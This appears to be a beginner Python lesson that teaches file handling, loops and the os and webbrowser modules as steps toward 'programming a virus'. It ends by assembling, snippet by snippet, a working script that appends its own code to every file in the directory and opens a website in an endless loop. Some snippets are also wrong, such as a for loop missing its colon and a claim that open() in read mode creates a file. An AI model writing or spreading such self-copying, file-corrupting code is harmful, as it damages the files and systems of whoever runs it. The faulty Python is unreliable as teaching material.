Intro

Let's learn some basic tools for programming a virus.

We'll manage files and code infinite loops using the Python programming language.

Prerequisites

If you know how variables and loops work in another programming language, you have the knowledge to follow along.

Creating a variable in Python

Let's dive straight into Python by creating a variable. Variables in Python don't require a keyword. 

Let's create a statement variable and give it an initial value using the equal sign (=). 

statement = "I will not use my virus knowledge for evil."
print(statement)

//Output Below

I will not use my virus knowledge for evil.

That's right! We'll use variables to store the location of files later.

Printing in Python

In Python, we use print() to print values to the console. Let's give it a try.

statement = "Learn about viruses for good."
print(statement)

//Output Below

Learn about viruses for good.

Great work! Printing values to the console will help understand what files we're accessing later on.

Infinite loops in Python

One way to really annoy someone with a virus is by creating an infinite loop.

In Python, we can create an infinite loop with while True:. Meaning the code will execute while True is True.

while True:
 print("This will never end.")

//Output Below

...
This will never end.
This will never end.
This will never end.

Nice job! This infinite loop won't stop printing This will never end..

Managing files with Python

We know creating, updating, and deleting files can make malware very destructive.

Let's see how programmers do those things in Python so you get the basics down for understanding how viruses are created.

Creating a file

To create a new file, we useopen() and place the file name as a string between the parentheses (()).

Let's create a new Python file named code.py.

python_file = open("code.py")

Nice! open("code.py") created a new file named code.py in the current directory.

Appending to a file

Since attaching viruses to programs is common, let's open a file to append code to it.

Opening a file so we can append to it is done by adding a comma (,) and "a" inside the parentheses of open().

python_file = open("code.py", "a")

Awesome! We can now write inside the code.py file.

Writing to a file

To append actual code to a file, we use .write(). This adds code without deleting what was previously there. 

Let's give .write() a try by writing a Python comment in the code.py file.

python_file = open("code.py", "a")
python_file.write("## Appending virus code")

Now the file code.py contains the comment you appended:

## Appending virus code

That's great work! 

Closing a file

It's good practice to close any file we open. So the last step in writing code is closing the file with .close().

python_file = open("code.py", "a")
python_file.write("## Appending virus code")
python_file.close()

Great! Now we don't risk leaving the file open and messing with the data if our program runs for a long time.

Updating a file

We can also call .open() to open an existing file.

Let's try adding another comment to the existing code.py file.

python_file = open("code.py", "a")
python_file.write("## Appending another comment")
python_file.close()

Now, instead of creating a new file, you updated the existing code.py file:

## Appending virus code
## Appending another comment

Great work! To create a new file or open an existing one, use .open().

Opening a file to read

Getting the content of a file is called reading a file.

To read a file, use "r" instead of "a" when opening the file.

python_file = open("code.py", "r")

Nice! An easy way to remember is that "r" stands for read.

Reading a file

To get the content of the file, use .read(). This reads and returns the content of the file.

python_file = open("code.py", "r")
 
content = python_file.read()
print(content)
 
python_file.close()

//Output Below

## Appending virus code
## Appending another comment

See that? Reading a file is how you can get the content of the file. This is why the content variable holds the content of code.py.

Importing os

We learned that malware takes advantage of managing files. This is something the operating system does on your computer.

In Python, we import the operating system library using the import keyword and os.

import os

That's right! os is short for operating system.

Print files

To list all the files in the current directory, we add .listdir() to os.

import os
 
files = os.listdir()
 
print(files)

//Output Below

['webbrowser.exe', 'code.py']

Great job! In the current directory, there are two files. One named webbrowser.exe and another name code.py.

Looping through the current directory

To loop through the files names from os.listdir(), we can use a for loop.

Let's create a for loop to loop for each file name in os.listdir().

import os
 
for file_name in os.listdir()
 print(file_name)

//Output Below

webbrowser.exe
code.py

Sweet! You now have the tools to loop through files in a directory and make changes to them.

Importing webbrowser

If we want to mess with someone's web browser using Python, we can import the webbrowser library. Let's give it a try.

import webbrowser

Awesome work! Now it's time to do something sneaky.

Opening a website

We can use .open() to open a website. Try opening https://pywe.org/.

import webbrowser

webbrowser.open("https://pywe.org/")

Awesome work! Python developers try to name things in a way that's easy to remember. So .open() is used to open a website.

import os

import os
import webbrowser

import os
import webbrowser
 
virus_file

import os
import webbrowser
 
virus_file = open("virus.py", "r")

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file = open(file_name, "a")

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file = open(file_name, "a")
 file.write(virus_code)

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file = open(file_name, "a")
 file.write(virus_code)
 file.close()

import os
import webbrowser
...
 
while

import os
import webbrowser
...
 
while True:

import os
import webbrowser
...
 
while True:
 webbrowser.open("https://pywe.org")

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file = open(file_name, "a")
 file.write(virus_code)
 file.close()
 
while True:
 webbrowser.open( "https://pywe.org" )